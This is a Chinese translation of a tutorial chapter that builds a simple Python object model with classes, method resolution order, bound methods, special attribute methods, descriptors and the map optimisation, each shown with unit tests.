    "content": "> * 原文地址：[A Simple Object Model](http://aosabook.org/en/500L/a-simple-object-model.html)\n* 原文作者：[Carl Friedrich Bolz](https://twitter.com/cfbolz)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Zheaoli](https://github.com/Zheaoli)\n* 校对者：[Yuze Ma](https://github.com/bobmayuze), [Gran](https://github.com/Graning)\n\n# 一个简单的对象模型\nCarl Friedrich Bolz 是一位在伦敦国王大学任职的研究员，他沉迷于动态语言的实现及优化等领域而不可自拔。他是 PyPy/RPython 的核心开发者之一，于此同时，他也在为 Prolog, Racket, Smalltalk, PHP 和 Ruby 等语言贡献代码。这是他的 Twitter [@cfbolz](https://twitter.com/cfbolz) 。\n\n## 开篇\n\n面向对象编程是目前被广泛使用的一种编程范式，这种编程范式也被大量现代编程语言所支持。虽然大部分语言给程序猿提供了相似的面向对象的机制，但是如果深究细节的话，还是能发现它们之间还是有很多不同的。大部分的语言的共同点在于都拥有对象处理和继承机制。而对于类来说的话，并不是每种语言都完美支持它。比如对于 Self 或者 JavaScript 这样的原型继承的语言来说，是没有类这个概念的，他们的继承行为都是在对象之间所产生的。\n\n深入了解不同语言的对象模型是一件非常有意思的事儿。这样我们可以去欣赏不同的编程语言的相似性。不得不说，这样的经历可以在我们学习新的语言的时候，利用上我们已有的经验，以便于我们快速的掌握它。\n\n这篇文章将会带领你实现一套简单的对象模型。首先我们将实现一个简单的类与其实例，并能够通过这个实例去访问一些方法。这是被诸如 Simula 67 、Smalltalk 等早期面向对象语言所采用的面向对象模型。然后我们会一步步的扩展这个模型，你可以看到接下来两步会为你展现不同语言的模型设计思路，然后最后一步是来优化我们的对象模型的性能。最终我们所得到的模型并不是哪一门真实存在的语言所采用的模型，不过，硬是要说的话，你可以把我们得到的最终模型视为一个低配版的 Python 对象模型。\n\n这篇文章里所展现的对象模型都是基于 Python 实现的。代码在 Python 2.7 以及 Python 3.4 上都可以完美运行。为了让大家更好的了解模型里的设计哲学，本文也为我们所设计的对象模型准备了单元测试，这些测试代码可以利用 py.test 或者 nose 来运行。\n\n讲真，用 Python 来作为对象模型的实现语言并不是一个好的选择。一般而言，语言的虚拟机都是基于 C/C++ 这样更为贴近底层的语言来实现的，同时在实现中需要非常注意很多的细节，以保证其执行效率。不过，Python 这样非常简单的语言能让我们将主要精力都放在不同的行为表现上，而不是纠结于实现细节不可自拔。\n\n## 基础方法模型\n\n我们将以 Smalltalk 中的实现的非常简单的对象模型来开始讲解我们的对象模型。Smalltalk 是一门由施乐帕克研究中心下属的 Alan Kay 所带领的小组在 70 年代所开发出的一门面向对象语言。它普及了面向对象编程，同时在今天的编程语言中依然能看到当时它所包含的很多特性。在 Smalltalk 核心设计原则之一便是：“万物皆对象”。Smalltalk 最广为人知的继承者是 Ruby，一门使用类似 C 语言语法的同时保留了 Smalltalk 对象模型的语言。\n\n在这一部分中，我们所实现的对象模型将包含类，实例，属性的调用及修改，方法的调用，同时允许子类的存在。开始前，先声明一下，这里的类都是有他们自己的属性和方法的普通的类\n\n友情提示：在这篇文章中，“实例”代表着“不是类的对象”的含义。\n\n一个非常好的习惯就是优先编写测试代码，以此来约束具体实现的行为。本文所编写的测试代码由两个部分组成。第一部分由常规的 Python 代码组成，可能会使用到 Python 中的类及其余一些更高级的特性。第二部分将会用我们自己建立的对象模型来替代 Python 的类。\n\n在编写测试代码时，我们需要手动维护常规的 Python 类和我们自建类之间的映射关系。比如，在我们自定类中将会使用 `obj.read_attr(\"attribute\")` 来作为 Python 中的 `obj.attribute` 的替代品。在现实生活中，这样的映射关系将由语言的编译器/解释器来进行实现。\n\n在本文中，我们还对模型进行了进一步简化，这样看起来我们实现对象模型的代码和和编写对象中方法的代码看起来没什么两样。在现实生活中，这同样是基本不可能的，一般而言，这两者都是由不同的语言实现的。\n\n首先，让我们来编写一段用于测试读取求改对象字段的代码：\n\n~~~Python\n\ndef test_read_write_field():\n    # Python code\n    class A(object):\n            pass\n    obj = A()\n    obj.a = 1\n    assert obj.a == 1\n    obj.b = 5\n    assert obj.a == 1\n    assert obj.b == 5\n    obj.a = 2\n    assert obj.a == 2\n    assert obj.b == 5\n\n    # Object model code\n    A = Class(name=\"A\", base_class=OBJECT, fields={}, metaclass=TYPE)\n    obj = Instance(A)\n    obj.write_attr(\"a\", 1)\n    assert obj.read_attr(\"a\") == 1\n    obj.write_attr(\"b\", 5)\n    assert obj.read_attr(\"a\") == 1\n    assert obj.read_attr(\"b\") == 5\n    obj.write_attr(\"a\", 2)\n    assert obj.read_attr(\"a\") == 2\n    assert obj.read_attr(\"b\") == 5\n~~~\n\n在上面这个测试代码中包含了我们必须实现的三个东西。`Class` 以及 `Instance` 类分别代表着我们对象中的类以及实例。同时这里有两个特殊的类的实例：`OBJECT` 和 `TYPE`。 `OBJECT` 对应的是作为 Python 继承系统起点的 `object` 类（译者注：在 Python 2.x 版本中，实际上是有两套类系统，一套被统称为 **new style class** , 一套被称为 **old style class** ，`object` 是 **new style class** 的基类）。`TYPE` 对应的是 Python 类型系统中的 `type` 。\n\n为了给 `Class` 以及 `Instance` 类的实例提供通用操作支持，这两个类都会从 `Base` 类这样提供了一系列方法的基础类中进行继承并实现：\n\n~~~Python\nclass Base(object):\n    \"\"\" The base class that all of the object model classes inherit from. \"\"\"\n    def __init__(self, cls, fields):\n        \"\"\" Every object has a class. \"\"\"\n        self.cls = cls\n        self._fields = fields\n    def read_attr(self, fieldname):\n        \"\"\" read field 'fieldname' out of the object \"\"\"\n        return self._read_dict(fieldname)\n    def write_attr(self, fieldname, value):\n        \"\"\" write field 'fieldname' into the object \"\"\"\n        self._write_dict(fieldname, value)\n    def isinstance(self, cls):\n        \"\"\" return True if the object is an instance of class cls \"\"\"\n        return self.cls.issubclass(cls)\n    def callmethod(self, methname, *args):\n        \"\"\" call method 'methname' with arguments 'args' on object \"\"\"\n        meth = self.cls._read_from_class(methname)\n        return meth(self, *args)\n    def _read_dict(self, fieldname):\n        \"\"\" read an field 'fieldname' out of the object's dict \"\"\"\n        return self._fields.get(fieldname, MISSING)\n    def _write_dict(self, fieldname, value):\n        \"\"\" write a field 'fieldname' into the object's dict \"\"\"\n        self._fields[fieldname] = value\n\nMISSING = object()\n~~~\n\n`Base` 实现了对象类的储存，同时也使用了一个字典来保存对象字段的值。现在，我们需要去实现 `Class` 以及 `Instance` 类。在`Instance` 的构造器中将会完成类的实例化以及 `fields` 和 `dict` 初始化的操作。换句话说，`Instance` 只是 `Base` 的子类，同时并不会为其添加额外的方法。\n\n`Class` 的构造器将会接受类名、基础类、类字典、以及元类这样几个操作。对于类来讲，上面几个变量都会在类初始化的时候由用户传递给构造器。同时构造器也会从它的基类那里获取变量的默认值。不过这个点，我们将在下一章节进行讲述。\n\n~~~Python\nclass Instance(Base):\n    \"\"\"Instance of a user-defined class. \"\"\"\n    def __init__(self, cls):\n        assert isinstance(cls, Class)\n        Base.__init__(self, cls, {})\n\nclass Class(Base):\n    \"\"\" A User-defined class. \"\"\"\n    def __init__(self, name, base_class, fields, metaclass):\n        Base.__init__(self, metaclass, fields)\n        self.name = name\n        self.base_class = base_class\n~~~\n\n同时，你可能注意到这点，类依旧是一种特殊的对象，他们间接的从 `Base` 中继承。因此，类也是一个特殊类的特殊实例，这样的很特殊的类叫做：元类。\n\n现在，我们可以顺利通过我们第一组测试。不过这里，我们还没有定义 `Type` 以及 `OBJECT` 这样两个 `Class` 的实例。对于这些东西，我们将不会按照 Smalltalk 的对象模型进行构建，因为 Smalltalk 的对象模型对于我们来说太过于复杂。作为替代品，我们将采用 ObjVlisp1 的类型系统，Python 的类型系统从这里吸收了不少东西。\n\n在 ObjVlisp 的对象模型中，`OBJECT` 以及 `TYPE` 是交杂在一起的。`OBJECT` 是所有类的母类，意味着 `OBJECT` 没有母类。`TYPE` 是 `OBJECT` 的子类。一般而言，每一个类都是 `TYPE` 的实例。在特定情况下，`TYPE` 和 `OBJECT` 都是 `TYPE` 的实例。不过，程序猿可以从 `TYPE` 派生出一个类去作为元类：\n\n~~~Python\n# set up the base hierarchy as in Python (the ObjVLisp model)\n# the ultimate base class is OBJECT\nOBJECT = Class(name=\"object\", base_class=None, fields={}, metaclass=None)\n# TYPE is a subclass of OBJECT\nTYPE = Class(name=\"type\", base_class=OBJECT, fields={}, metaclass=None)\n# TYPE is an instance of itself\nTYPE.cls = TYPE\n# OBJECT is an instance of TYPE\nOBJECT.cls = TYPE\n~~~\n\n为了去编写一个新的元类，我们需要自行从 `TYPE` 进行派生。不过在本文中我们并不会这么做，我们将只会使用 `TYPE` 作为我们每个类的元类。\n\n![Figure 14.1 - Inheritance](http://ww1.sinaimg.cn/large/65e4f1e6jw1fa3ann7n8rj20ck08a74i.jpg)\n\n\n\n好了，现在第一组测试已经完全通过了。现在让我们来看看第二组测试，我们将会在这组测试中测试对象属性读写是否正常。这段代码还是很好写的。\n\n~~~Python\ndef test_read_write_field_class():\n    # classes are objects too\n    # Python code\n    class A(object):\n        pass\n    A.a = 1\n    assert A.a == 1\n    A.a = 6\n    assert A.a == 6\n\n    # Object model code\n    A = Class(name=\"A\", base_class=OBJECT, fields={\"a\": 1}, metaclass=TYPE)\n    assert A.read_attr(\"a\") == 1\n    A.write_attr(\"a\", 5)\n    assert A.read_attr(\"a\") == 5\n~~~\n\n### `isinstance` 检查\n\n到目前为止，我们还没有将对象有类这点特性利用起来。接下来的测试代码将会自动的实现 `isinstance` 。\n\n~~~Python\ndef test_isinstance():\n    # Python code\n    class A(object):\n        pass\n    class B(A):\n        pass\n    b = B()\n    assert isinstance(b, B)\n    assert isinstance(b, A)\n    assert isinstance(b, object)\n    assert not isinstance(b, type)\n\n    # Object model code\n    A = Class(name=\"A\", base_class=OBJECT, fields={}, metaclass=TYPE)\n    B = Class(name=\"B\", base_class=A, fields={}, metaclass=TYPE)\n    b = Instance(B)\n    assert b.isinstance(B)\n    assert b.isinstance(A)\n    assert b.isinstance(OBJECT)\n    assert not b.isinstance(TYPE)\n~~~\n\n我们可以通过检查 `cls` 是不是 `obj` 类或者它自己的超类来判断 `obj` 对象是不是某些类 `cls` 的实例。通过检查一个类是否在一个超类链上工作，来判断一个类是不是另一个类的超类。如果还有其余类存在于这个超类链上，那么这些类也可以被称为是超类。这个包含了超类和类本身的链条，被称之为**方法解析顺序**（译者注：简称MRO）。它很容易以递归的方式进行计算：\n\n~~~Python\n class Class(Base):\n     ...\n\n     def method_resolution_order(self):\n         \"\"\" compute the method resolution order of the class \"\"\"\n         if self.base_class is None:\n             return [self]\n         else:\n             return [self] + self.base_class.method_resolution_order()\n\n     def issubclass(self, cls):\n         \"\"\" is self a subclass of cls? \"\"\"\n         return cls in self.method_resolution_order()\n~~~\n\n好了，在修改代码后，测试就完全能通过了\n\n### 方法调用\n\n前面所建立的对象模型中还缺少了方法调用这样的重要特性。在本章我们将会建立一个简单的继承模型。\n\n~~~Python\ndef test_callmethod_simple():\n    # Python code\n    class A(object):\n        def f(self):\n            return self.x + 1\n    obj = A()\n    obj.x = 1\n    assert obj.f() == 2\n\n    class B(A):\n        pass\n    obj = B()\n    obj.x = 1\n    assert obj.f() == 2 # works on subclass too\n\n    # Object model code\n    def f_A(self):\n        return self.read_attr(\"x\") + 1\n    A = Class(name=\"A\", base_class=OBJECT, fields={\"f\": f_A}, metaclass=TYPE)\n    obj = Instance(A)\n    obj.write_attr(\"x\", 1)\n    assert obj.callmethod(\"f\") == 2\n\n    B = Class(name=\"B\", base_class=A, fields={}, metaclass=TYPE)\n    obj = Instance(B)\n    obj.write_attr(\"x\", 2)\n    assert obj.callmethod(\"f\") == 3\n~~~\n\n为了找到调用对象方法的正确实现，我们现在开始讨论类对象的方法解析顺序。在 MRO 中我们所寻找到的类对象字典中第一个方法将会被调用：\n\n~~~Python\nclass Class(Base):\n    ...\n\n    def _read_from_class(self, methname):\n        for cls in self.method_resolution_order():\n            if methname in cls._fields:\n                return cls._fields[methname]\n        return MISSING\n~~~\n\n在完成 `Base` 类中 `callmethod` 实现后，可以通过上面的测试。\n\n为了保证函数参数传递正确，同时也确保我们事先的代码能完成方法重载的功能，我们可以编写下面这段测试代码，当然结果是完美通过测试：\n\n~~~Python\ndef test_callmethod_subclassing_and_arguments():\n    # Python code\n    class A(object):\n        def g(self, arg):\n            return self.x + arg\n    obj = A()\n    obj.x = 1\n    assert obj.g(4) == 5\n\n    class B(A):\n        def g(self, arg):\n            return self.x + arg * 2\n    obj = B()\n    obj.x = 4\n    assert obj.g(4) == 12\n\n    # Object model code\n    def g_A(self, arg):\n        return self.read_attr(\"x\") + arg\n    A = Class(name=\"A\", base_class=OBJECT, fields={\"g\": g_A}, metaclass=TYPE)\n    obj = Instance(A)\n    obj.write_attr(\"x\", 1)\n    assert obj.callmethod(\"g\", 4) == 5\n\n    def g_B(self, arg):\n        return self.read_attr(\"x\") + arg * 2\n    B = Class(name=\"B\", base_class=A, fields={\"g\": g_B}, metaclass=TYPE)\n    obj = Instance(B)\n    obj.write_attr(\"x\", 4)\n    assert obj.callmethod(\"g\", 4) == 12\n~~~\n\n## 基础属性模型\n\n现在最简单版本的对象模型已经可以开始工作了，不过我们还需要去不断的改进。这一部分将会介绍基础方法模型和基础属性模型之间的差异。这也是 Smalltalk 、 Ruby 、 JavaScript 、 Python 和 Lua 之间的核心差异。\n\n基础方法模型将会按照最原始的方式去调用方法：\n\n~~~Python\nresult = obj.f(arg1, arg2)\n~~~\n\n\n基础属性模型将会将调用过程分为两步：寻找属性，以及返回执行结果：\n\n~~~Python\n    method = obj.f\n    result = method(arg1, arg2)\n~~~\n\n你可以在接下来的测试中体会到前文所述的差异：\n\n~~~Python\ndef test_bound_method():\n    # Python code\n    class A(object):\n        def f(self, a):\n            return self.x + a + 1\n    obj = A()\n    obj.x = 2\n    m = obj.f\n    assert m(4) == 7\n\n    class B(A):\n        pass\n    obj = B()\n    obj.x = 1\n    m = obj.f\n    assert m(10) == 12 # works on subclass too\n\n    # Object model code\n    def f_A(self, a):\n        return self.read_attr(\"x\") + a + 1\n    A = Class(name=\"A\", base_class=OBJECT, fields={\"f\": f_A}, metaclass=TYPE)\n    obj = Instance(A)\n    obj.write_attr(\"x\", 2)\n    m = obj.read_attr(\"f\")\n    assert m(4) == 7\n\n    B = Class(name=\"B\", base_class=A, fields={}, metaclass=TYPE)\n    obj = Instance(B)\n    obj.write_attr(\"x\", 1)\n    m = obj.read_attr(\"f\")\n    assert m(10) == 12\n~~~\n\n我们可以按照之前测试代码中对方法调用设置一样的步骤去设置属性调用，不过和方法调用相比，这里面发生了一些变化。首先，我们将会在对象中寻找与函数名对应的方法名。这样一个查找过程结果被称之为已绑定的方法，具体来说就是，这个结果一个绑定了方法与具体对象的特殊对象。然后这个绑定方法会在接下来的操作中被调用。\n\n为了实现这样的操作，我们需要修改 `Base.read_attr` 的实现。如果在实例字典中没有找到对应的属性，那么我们需要去在类字典中查找。如果在类字典中查找到了这个属性，那么我们将会执行方法绑定的操作。我们可以使用一个闭包来很简单的模拟绑定方法。除了更改 `Base.read_attr` 实现以外，我们也可以修改 `Base.callmethod` 方法来确保我们代码能通过测试。\n\n~~~Python\nclass Base(object):\n    ...\n    def read_attr(self, fieldname):\n        \"\"\" read field 'fieldname' out of the object \"\"\"\n        result = self._read_dict(fieldname)\n        if result is not MISSING:\n            return result\n        result = self.cls._read_from_class(fieldname)\n        if _is_bindable(result):\n            return _make_boundmethod(result, self)\n        if result is not MISSING:\n            return result\n        raise AttributeError(fieldname)\n\n    def callmethod(self, methname, *args):\n        \"\"\" call method 'methname' with arguments 'args' on object \"\"\"\n        meth = self.read_attr(methname)\n        return meth(*args)\n\ndef _is_bindable(meth):\n    return callable(meth)\n\ndef _make_boundmethod(meth, self):\n    def bound(*args):\n        return meth(self, *args)\n    return bound\n~~~\n\n其余的代码并不需要修改。\n\n## 元对象协议\n\n除了常规的类方法之外，很多动态语言还支持特殊方法。有这样一些方法在调用时是由对象系统调用而不是使用常规调用。在 Python 中你可以看到这些方法的方法名用两个下划线作为开头和结束的，比如 `__init__` 。特殊方法可以用于重载一些常规操作，同时可以提供一些自定义的功能。因此，它们的存在可以告诉对象模型如何自动的处理不同的事情。Python 中相关特殊方法的说明可以查看这篇[文档](https://docs.python.org/2/reference/datamodel.html#special-method-names)。\n\n元对象协议这一概念由 Smalltalk 引入，然后在诸如 CLOS 这样的通用 Lisp 的对象模型中也广泛的使用这个概念。这个概念包含特殊方法的集合（注：这里没有查到 coined3 的梗，请校者帮忙参考）。\n\n在这一章中，我们将会为我们的对象模型添加三个元调用操作。它们将会用来对我们读取和修改对象的操作进行更为精细的控制。我们首先要添加的两个方法是 `__getattr__` 和 `__setattr__`， 这两个方法的命名看起来和我们 Python 中相同功能函数的方法名很相似。\n\n### 自定义属性读写操作\n\n`__getattr__` 方法将会在属性通过常规方法无法查找到的情况下被调用，换句话说，在实例字典、类字典、父类字典等等对象中都找不到对应的属性时，会触发该方法的调用。我们将传入一个被查找属性的名字作为这个方法的参数。在早期的 Smalltalk4 中这个方法被称为 `doesNotUnderstand:` 。\n\n在 `__setattr__` 这里事情可能发生了点变化。首先我们需要明确一点的是，设置一个属性的时候通常意味着我们需要创建它，在这个时候，在设置属性的时候通常会触发 `__setattr__` 方法。为了确保 `__setattr__` 的存在，我们需要在 `OBJECT` 对象中实现 `__setattr__` 方法。这样最基础的实现完成了我们向相对应的字典里写入属性的操作。这可以使得用户可以将自己定义的  `__setattr__` 委托给 `OBJECT.__setattr__` 方法。\n\n针对这两个特殊方法的测试用例如下所示：\n\n~~~Python\ndef test_getattr():\n    # Python code\n    class A(object):\n        def __getattr__(self, name):\n            if name == \"fahrenheit\":\n                return self.celsius * 9\\. / 5\\. + 32\n            raise AttributeError(name)\n\n        def __setattr__(self, name, value):\n            if name == \"fahrenheit\":\n                self.celsius = (value - 32) * 5\\. / 9.\n            else:\n                # call the base implementation\n                object.__setattr__(self, name, value)\n    obj = A()\n    obj.celsius = 30\n    assert obj.fahrenheit == 86 # test __getattr__\n    obj.celsius = 40\n    assert obj.fahrenheit == 104\n\n    obj.fahrenheit = 86 # test __setattr__\n    assert obj.celsius == 30\n    assert obj.fahrenheit == 86\n\n    # Object model code\n    def __getattr__(self, name):\n        if name == \"fahrenheit\":\n            return self.read_attr(\"celsius\") * 9\\. / 5\\. + 32\n        raise AttributeError(name)\n    def __setattr__(self, name, value):\n        if name == \"fahrenheit\":\n            self.write_attr(\"celsius\", (value - 32) * 5\\. / 9.)\n        else:\n            # call the base implementation\n            OBJECT.read_attr(\"__setattr__\")(self, name, value)\n\n    A = Class(name=\"A\", base_class=OBJECT,\n              fields={\"__getattr__\": __getattr__, \"__setattr__\": __setattr__},\n              metaclass=TYPE)\n    obj = Instance(A)\n    obj.write_attr(\"celsius\", 30)\n    assert obj.read_attr(\"fahrenheit\") == 86 # test __getattr__\n    obj.write_attr(\"celsius\", 40)\n    assert obj.read_attr(\"fahrenheit\") == 104\n    obj.write_attr(\"fahrenheit\", 86) # test __setattr__\n    assert obj.read_attr(\"celsius\") == 30\n    assert obj.read_attr(\"fahrenheit\") == 86\n~~~\n\n为了通过测试，我们需要修改下 `Base.read_attr` 以及 `Base.write_attr` 两个方法：\n\n~~~Python\nclass Base(object):\n    ...\n\n    def read_attr(self, fieldname):\n        \"\"\" read field 'fieldname' out of the object \"\"\"\n        result = self._read_dict(fieldname)\n        if result is not MISSING:\n            return result\n        result = self.cls._read_from_class(fieldname)\n        if _is_bindable(result):\n            return _make_boundmethod(result, self)\n        if result is not MISSING:\n            return result\n        meth = self.cls._read_from_class(\"__getattr__\")\n        if meth is not MISSING:\n            return meth(self, fieldname)\n        raise AttributeError(fieldname)\n\n    def write_attr(self, fieldname, value):\n        \"\"\" write field 'fieldname' into the object \"\"\"\n        meth = self.cls._read_from_class(\"__setattr__\")\n        return meth(self, fieldname, value)\n~~~\n\n获取属性的过程变成调用 `__getattr__` 方法并传入字段名作为参数，如果字段不存在，将会抛出一个异常。请注意 `__getattr__` 只能在类中调用（Python 中的特殊方法也是这样），同时需要避免这样的 `self.read_attr(\"__getattr__\")` 递归调用，因为如果 `__getattr__` 方法没有定义的话，上面的调用会造成无限递归。\n\n对属性的修改操作也会像读取一样交给 `__setattr__` 方法执行。为了保证这个方法能够正常执行，`OBJECT` 需要实现 `__setattr__` 的默认行为，比如：\n\n~~~Python\ndef OBJECT__setattr__(self, fieldname, value):\n    self._write_dict(fieldname, value)\nOBJECT = Class(\"object\", None, {\"__setattr__\": OBJECT__setattr__}, None)\n~~~\n\n\n`OBJECT.__setattr__` 的具体实现和之前 `write_attr` 方法的实现有着相似之处。在完成这些修改后，我们可以顺利的通过我们的测试。\n\n### 描述符协议\n\n在上面的测试中，我们频繁的在不同的温标之间切换，不得不说，在执行修改属性操作的时候这样真的很蛋疼，所以我们需要在 `__getattr__` 和 `__setattr__` 中检查所使用的属性的名称为了解决这个问题，在 Python 中引入了**描述符协议**的概念。\n\n我们将从 `__getattr__` 和 `__setattr__` 方法中获取具体的属性，而描述符协议则是在属性调用过程结束返回结果时触发一个特殊的方法。描述符协议可以视为一种可以绑定类与方法的特殊手段，我们可以使用描述符协议来完成将方法绑定到对象的具体操作。除了绑定方法，在 Python 中描述符最重要的几个使用场景之一就是 `staticmethod`、 `classmethod` 和 `property`。\n\n在接下来一点文字中，我们将介绍怎么样来使用描述符进行对象绑定。我们可以通过使用 `__get__` 方法来达成这一目标，具体请看下面的测试代码：\n\n~~~Python\ndef test_get():\n    # Python code\n    class FahrenheitGetter(object):\n        def __get__(self, inst, cls):\n            return inst.celsius * 9\\. / 5\\. + 32\n\n    class A(object):\n        fahrenheit = FahrenheitGetter()\n    obj = A()\n    obj.celsius = 30\n    assert obj.fahrenheit == 86\n\n    # Object model code\n    class FahrenheitGetter(object):\n        def __get__(self, inst, cls):\n            return inst.read_attr(\"celsius\") * 9\\. / 5\\. + 32\n\n    A = Class(name=\"A\", base_class=OBJECT,\n              fields={\"fahrenheit\": FahrenheitGetter()},\n              metaclass=TYPE)\n    obj = Instance(A)\n    obj.write_attr(\"celsius\", 30)\n    assert obj.read_attr(\"fahrenheit\") == 86\n~~~\n\n`__get__` 方法将会在属性查找完后被 `FahrenheitGetter` 实例所调用。传递给 `__get__` 的参数是查找过程结束时所处的那个实例。\n\n实现这样的功能倒是很简单，我们可以很简单的修改 `_is_bindable` 和 `_make_boundmethod` 方法：\n\n~~~Python\ndef _is_bindable(meth):\n    return hasattr(meth, \"__get__\")\n\ndef _make_boundmethod(meth, self):\n    return meth.__get__(self, None)\n~~~\n\n好了，这样简单的修改能保证我们通过测试了。之前关于方法绑定的测试也能通过了，在 Python 中 `__get__` 方法执行完了将会返回一个已绑定方法对象。\n\n在实践中，描述符协议的确看起来比较复杂。它同时还包含用于设置属性的 `__set__` 方法。此外，你现在所看到我们实现的版本是经过一些简化的。请注意，前面 `_make_boundmethod` 方法调用 `__get__` 是实现级的操作，而不是使用 `meth.read_attr('__get__')` 。这是很有必要的，因为我们的对象模型只是从 Python 中借用函数和方法，而不是展示 Python 的对象模型。进一步完善模型的话可以有效解决这个问题。\n\n## 实例优化\n\n这个对象模型前面三个部分的建立过程中伴随着很多的行为变化，而最后一部分的优化工作并不会伴随着行为变化。这种优化方式被称为 **map** ,广泛存在在可以自举的语言虚拟机中。这是一种最为重要对象模型优化手段：在 PyPy ，诸如 V8 现代 JavaScript 虚拟机中得到应用（在 V8 中这种方法被称为 **_hidden classes_**）。\n\n这种优化手段基于如下的观察：到目前所实现的对象模型中，所有实例都使用一个完整的字典来储存他们的属性。字典是基于哈希表进行实现的，这将会耗费大量的内存。在很多时候，同一个类的实例将会拥有同样的属性，比如，有一个类 `Point` ，它所有的实例都包含同样的属性 `x` `y`。\n\n`Map` 优化利用了这样一个事实。它将会将每个实例的字典分割为两个部分。一部分存放可以在所有实例中共享的属性名。然后另一部分只存放对第一部分产生的 `Map` 的引用和存放具体的值。存放属性名的 **map** 将会作为值的索引。\n\n我们将为上面所述的需求编写一些测试用例，如下所示：\n\n~~~Python\ndef test_maps():\n    # white box test inspecting the implementation\n    Point = Class(name=\"Point\", base_class=OBJECT, fields={}, metaclass=TYPE)\n    p1 = Instance(Point)\n    p1.write_attr(\"x\", 1)\n    p1.write_attr(\"y\", 2)\n    assert p1.storage == [1, 2]\n    assert p1.map.attrs == {\"x\": 0, \"y\": 1}\n\n    p2 = Instance(Point)\n    p2.write_attr(\"x\", 5)\n    p2.write_attr(\"y\", 6)\n    assert p1.map is p2.map\n    assert p2.storage == [5, 6]\n\n    p1.write_attr(\"x\", -1)\n    p1.write_attr(\"y\", -2)\n    assert p1.map is p2.map\n    assert p1.storage == [-1, -2]\n\n    p3 = Instance(Point)\n    p3.write_attr(\"x\", 100)\n    p3.write_attr(\"z\", -343)\n    assert p3.map is not p1.map\n    assert p3.map.attrs == {\"x\": 0, \"z\": 1}\n~~~\n\n注意，这里测试代码的风格和我们之前的才是代码看起不太一样。之前所有的测试只是通过已实现的接口来测试类的功能。这里的测试通过读取类的内部属性来获取实现的详细信息，并将其与预设的值进行比较。这种测试方法又被称之为白盒测试。\n\n`p1` 的包含 `attrs` 的 `map` 存放了 `x` 和 `y` 两个属性，其在 `p1` 中存放的值分别为 0 和 1。然后创建第二个实例 `p2` ，并通过同样的方法网同样的 `map` 中添加同样的属性。 换句话说，如果不同的属性被添加了，那么其中的 `map` 是不通用的。\n\n`Map` 类长下面这样：\n\n~~~Python\nclass Map(object):\n    def __init__(self, attrs):\n        self.attrs = attrs\n        self.next_maps = {}\n\n    def get_index(self, fieldname):\n        return self.attrs.get(fieldname, -1)\n\n    def next_map(self, fieldname):\n        assert fieldname not in self.attrs\n        if fieldname in self.next_maps:\n            return self.next_maps[fieldname]\n        attrs = self.attrs.copy()\n        attrs[fieldname] = len(attrs)\n        result = self.next_maps[fieldname] = Map(attrs)\n        return result\n\nEMPTY_MAP = Map({})\n~~~\n\nMap 类拥有两个方法，分别是 `get_index` 和 `next_map` 。前者用于查找对象储存空间中的索引中查找对应的属性名称。而在新的属性添加到对象中时应该使用后者。在这种情况下，不同的实例需要用 `next_map` 计算不同的映射关系。这个方法将会使用 `next_maps` 来查找已经存在的映射。这样，相似的实例将会使用相似的 `Map` 对象。\n\n![](http://ww4.sinaimg.cn/large/65e4f1e6jw1fa3aoxjr2vj20b7077q37.jpg)\n\nFigure 14.2 - Map transitions\n\n使用 `map` 的 `Instance` 实现如下：\n\n~~~Python\nclass Instance(Base):\n    \"\"\"Instance of a user-defined class. \"\"\"\n\n    def __init__(self, cls):\n        assert isinstance(cls, Class)\n        Base.__init__(self, cls, None)\n        self.map = EMPTY_MAP\n        self.storage = []   \n\n    def _read_dict(self, fieldname):\n        index = self.map.get_index(fieldname)\n        if index == -1:\n            return MISSING\n        return self.storage[index]\n\n    def _write_dict(self, fieldname, value):\n        index = self.map.get_index(fieldname)\n        if index != -1:\n            self.storage[index] = value\n        else:\n            new_map = self.map.next_map(fieldname)\n            self.storage.append(value)\n            self.map = new_map\n~~~\n\n现在这个类将给 `Base` 类传递 `None` 作为字段字典，那是因为 `Instance` 将会以另一种方式构建存储字典。因此它需要重载 `_read_dict` 和 `_write_dict` 。在实际操作中，我们将重构 `Base` 类，使其不在负责存放字段字典。不过眼下，我们传递一个 `None` 作为参数就足够了。\n\n在一个新的实例创建之初使用的是 `EMPTY_MAP` ，这里面没有任何的对象存放着。在实现 `_read_dict` 后，我们将从实例的 `map` 中查找属性名的索引，然后映射相对应的储存表。\n\n向字段字典写入数据分为两种情况。第一种是现有属性值的修改，那么就简单的在映射的列表中修改对应的值就好。而如果对应属性不存在，那么需要进行 `map` 变换（如上面的图所示一样），将会调用 `next_map` 方法，然后将新的值存放入储存列表中。\n\n你肯定想问，这种优化方式到底优化了什么？一般而言，在具有很多相似结构实例的情况下能较好的优化内存。但是请记住，这不是一个通用的优化手段。有些时候代码中充斥着结构不同的实例之时，这种手段可能会耗费更大的空间。\n\n这是动态语言优化中的常见问题。一般而言，不太可能找到一种万能的方法去优化代码，使其更快，更节省空间。因此，具体情况具体分析，我们需要根据不同的情况去选择优化方式。\n\n在 `Map` 优化中很有意思的一点就是，虽然这里只有花了内存占用，但是在 VM 使用 JIT 技术的情况下，也能较好的提高程序的性能。为了实现这一点，JIT 技术使用映射来查找属性在存储空间中的偏移量。然后完全除去字典查找的方式。\n\n## 潜在扩展\n\n扩展我们的对象模型和引入不同语言的设计选择是一件非常容易的事儿。这里给出一些可能的方向：\n\n*   最简单的是添加更多的特殊方法方法，比如一些 `__init__`, `__getattribute__`, `__set__` 这样非常容易实现和有趣的方法。\n\n*   扩展模型支持多重继承。为了实现这一点，每一个类都需要一个父类列表。然后 `Class.method_resolution_order` 需要进行修改，以便支持方法查找。一个简单的 MRO 计算规则可以使用深度优先原则。然后更为复杂的可以采用[C3 算法](https://www.python.org/download/releases/2.3/mro/), 这种算法能更好的处理菱形继承结构所带来的一些问题。\n\n*   一个更为疯狂的想法是切换到原型模式，这需要消除类和实例之间的差别。\n\n## 总结\n\n面向对象编程语言设计的核心是其对象模型的细节。编写一些简单的对象模型是一件非常简单而且有趣的事情。你可以通过这种方式来了解现有语言的工作机制，并且深入了解面向对象语言的设计原则。编写不同的对象模型验证不同对象的设计思路是一个非常棒的方法。你也不在需要将注意力放在其余一些琐碎的事情上，比如解析和执行代码。\n\n这样编写对象模型的工作在实践中也是非常有用的。除了作为实验品以外，它们还可以被其余语言所使用。这种例子有很多：比如 GObject 模型，用 C 语言编写，在 GLib 和 其余 Gonme 中得到使用，还有就是用 JavaScript 实现的各类对象模型。\n\n\n\n# 参考文献\n\n1.  P. Cointe, “Metaclasses are first class: The ObjVlisp Model,” SIGPLAN 